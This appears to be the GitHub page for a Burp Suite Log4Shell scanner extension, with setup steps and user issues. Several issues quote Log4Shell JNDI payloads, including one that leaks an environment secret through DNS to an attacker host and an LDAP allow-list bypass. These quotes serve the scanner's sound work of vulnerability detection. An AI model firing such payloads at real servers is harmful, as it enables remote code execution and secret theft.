silentsignal / burp-log4shell

Log4Shell scanner for Burp Suite

Log4Shell scanner for Burp Suite

Detailed description can be found in our blog post about this plugin, you can also ▶️ watch a recorded demonstration video. (There's also a bit longer video by @nu11secur1ty that also demonstrates setting up a vulnerable application.)

Note about detection capabilities: this plugin will only supply the built-in active scanner with payloads, thus for optimal coverage vs. performance, you'll have to configure your scan properly – just as with any other built-in or extension-provided scan. See #3 for detailed explanation regarding this matter.

Comparison

Feature	Log4Shell scanner (this one)	ActiveScan++ (b485a07)
Synchronous detection	✔️	✔️
Asynchronous detection	✔️	❌
Hostname detection	✔️	❌
Username detection	✔️	❌
Ability for single-issue scan (see below)	✔️	❌

Single-issue scan

If you'd like to scan only for Log4j (and not other things such as XSS or SQLi), this plugin makes it possible.

By following any of the instruction sets below, the scanner will only perform Log4Shell checks on all insertion points if the scan configuration created as a result is used.

The easiest way

Thanks to Hannah at PortSwigger for bringing this to our attention.

1. When creating a new scan, click Select from library on the Scan configuration tab
2. Pick Audit checks - extensions only which is built into Burp Suite Pro 2.x
3. Disable every other extension (if applicable) that have an active scan check registered (such as ActiveScan++, Backslash powered scanning, Burp Bounty, etc.) so that only the Log4Shell scanner runs

The easy way

This is the version that's demonstrated in the above linked video.

1. Save extensions-only.json to your machine
2. From the leftmost Burp menu, select Configuration library
3. Click Import on the right side of the window
4. Select the location where you save the file in step 1.
5. When creating a new scan, click Select from library on the Scan configuration tab
6. Disable every other extension (if applicable) that have an active scan check registered (such as ActiveScan++, Backslash powered scanning, Burp Bounty, etc.) so that only the Log4Shell scanner runs

The manual way

This one used to be harder, but @alright21 made it much easier.

1. Create a new Scan Configuration
2. Expand Issues Reported
3. Click on one of the issues to move the focus to that list
4. Press Ctrl + A
5. Right click on the list and click on Enabled, this will disable all issues
6. Manually check the box at the last one called Extension generated issue to enable that
7. Disable every other extension (if applicable) that have an active scan check registered (such as ActiveScan++, Backslash powered scanning, Burp Bounty, etc.) so that only the Log4Shell scanner runs

Building

Execute ./gradlew build and you'll have the plugin ready in build/libs/burp-log4shell.jar

License

The whole project is available under the GNU General Public License v3.0, see LICENSE.md.

burp-log4shell's Issues

[Feature] Add context menu option to only scan for log4j

Hi folks,

while the method you described to only scan for log4j is viable there is an easier way to do it in Burp, via adding a context menu option. It should go something like:

scanMenu = JMenuItem("Log4j scan")
scanMenu.addActionListener(startScan(self))

self.menu = JPopupMenu("Popup")
self.menu.add(scanMenu)

callbacks.registerContextMenuFactory(self)

where startScan is something like:

class sendRequestRepeater(ActionListener):
    def __init__(self, extender):
        self._extender = extender

    def actionPerformed(self, e):

  
            self._extender.doActiveScan(...);

        return 

I know this in Python but you get the idea; there are many extensions that hook into registerContextMenuFactory so you can just copy from there. Let me know if I can help, cheers :)

Fisher

BApps: Log4Shell scanner

Hi,

Any reason why the Log4Shell scanner is removed from the bApps extensions?

Detecting delayed responses/timeouts?

I wonder if it would make sense to generate a low confidence issue if the answer takes >29s to arrive (I've read that Java timeouts after 31s and Burp drops the conn at 30s IIRC), as this can indicate that someone is trying to resolve our JNDI host on the backend?

Out of box Burp with single extension not discover Log4shell

Hi! I've just installed burp pro out of box and the only extension I have added is yours. Unfortunately I am not able to discover any trails of log4shell even I have identified few of such that should be reported based on release notes etc.. Are there any extra plugins/settings that should be enabled/installed to make it scan successfully? Also - should the scan be started from the "/" URL of the target ?
Thanks !

CVE coverage

Hi,

Could you please confirm whether Log4Shell Scanner Burpsuite Pro Addon is capable to identify log4j vulnerabilities of CVE-2021-44832, CVE-2021-45105 & CVE-2021-45046.

Thanks
Saleem Choudary

Protobuf version error

Hi,

To be able to build this I have to change the protobuf version in build.gradle to be:
classpath "gradle.plugin.com.google.protobuf:protobuf-gradle-plugin:0.8.18"

Running burp-log4shell.jar

Hello,

It's been a while since I've executed .jar files, I was under the impression that the command is java -jar, yet I get the following:

java -jar burp-log4shell.jar
no main manifest attribute, in burp-log4shell.jar

Environment:

java --version
openjdk 11.0.13 2021-10-19
OpenJDK Runtime Environment 18.9 (build 11.0.13+8)
OpenJDK 64-Bit Server VM 18.9 (build 11.0.13+8, mixed mode)

Payloads are not sent with the plugin

ENV

Burp: v2021.12.1

docker run --name vulnerable-app --rm -p 8000:8080 ghcr.io/christophetd/log4shell-vulnerable-app

Easy Scan

0 Request was sent.

Scan from intruder

2 identical requests were sent. Neither has the payloads.

[Request] - Add check for unencoded URI Path

In my internal environment testing we've found some hosts/products that have been vulnerable to the Log4J vulnerability but where it would only fire if the URI path was NOT URL encoded. These hosts are not showing any vulnerable parameters when scanned using the plugin but will fire if I take the payload, un-encode it, and replay it in Repeater. When we check the logs generated, we found that it is logging the raw URI and this was causing the payload to not be interpreted by the vulnerable class. In these hosts, only the URI was vulnerable so the other non-encoded positions such as User-Agent were not being processed.

Thanks for putting this out, BTW!

Only detecting JNDI + LDAP exploit variant - other exploits of CVE are undetected

Describe the bug
Even with LDAP to remote host being stopped by using a modern Java version, there are still more ways to exploit the CVE.
But (based on looking at the source) this scan only checks the LDAP exploit path.
So a clean sheet from this scan doesn't mean that you're not vulnerable.

Example of a non-LDAP attack:
${jndi:dns://attackers-dns-server.com/somedomain${env:SECRET_TO_LEAK_VIA_DNS_QUERY}}

or via Factory Gadget attacks

See Appendix B of https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/

Sanity Check

• I'm not trying to blindly scan random hosts without any configuration and wait for free money from their bug bounty programs.

Fails to detect Log4Shell vulnerability

Using the docker image at https://github.com/christophetd/log4shell-vulnerable-app, this plug fails to detect any issues. I've tried the prebuilt jar, and even tried building myself. Same results.

Hard way is not that hard

Hi! I think that the hard way can be simplified in this way:

1. on issue reported list, CTRL+A to select all the issues, right-click->enabled to disable everything
2. go at the very bottom and select only Extension generated issue
   That's it! Let me know if it is working for you:)

Additional payloads for allowedLdapHost and allowedClasses bypass

This will require improved payloads:

https://twitter.com/marcioalm/status/1471740771581652995

Example from the twitter:

${jndi:ldap://127.0.0.1#evilhost.com:1389/a}

I suggest this plugin can add some scan rules

I suggest this plugins can add some scan rules
For example:
I should it can use payload add on 'Accept' of 'Request'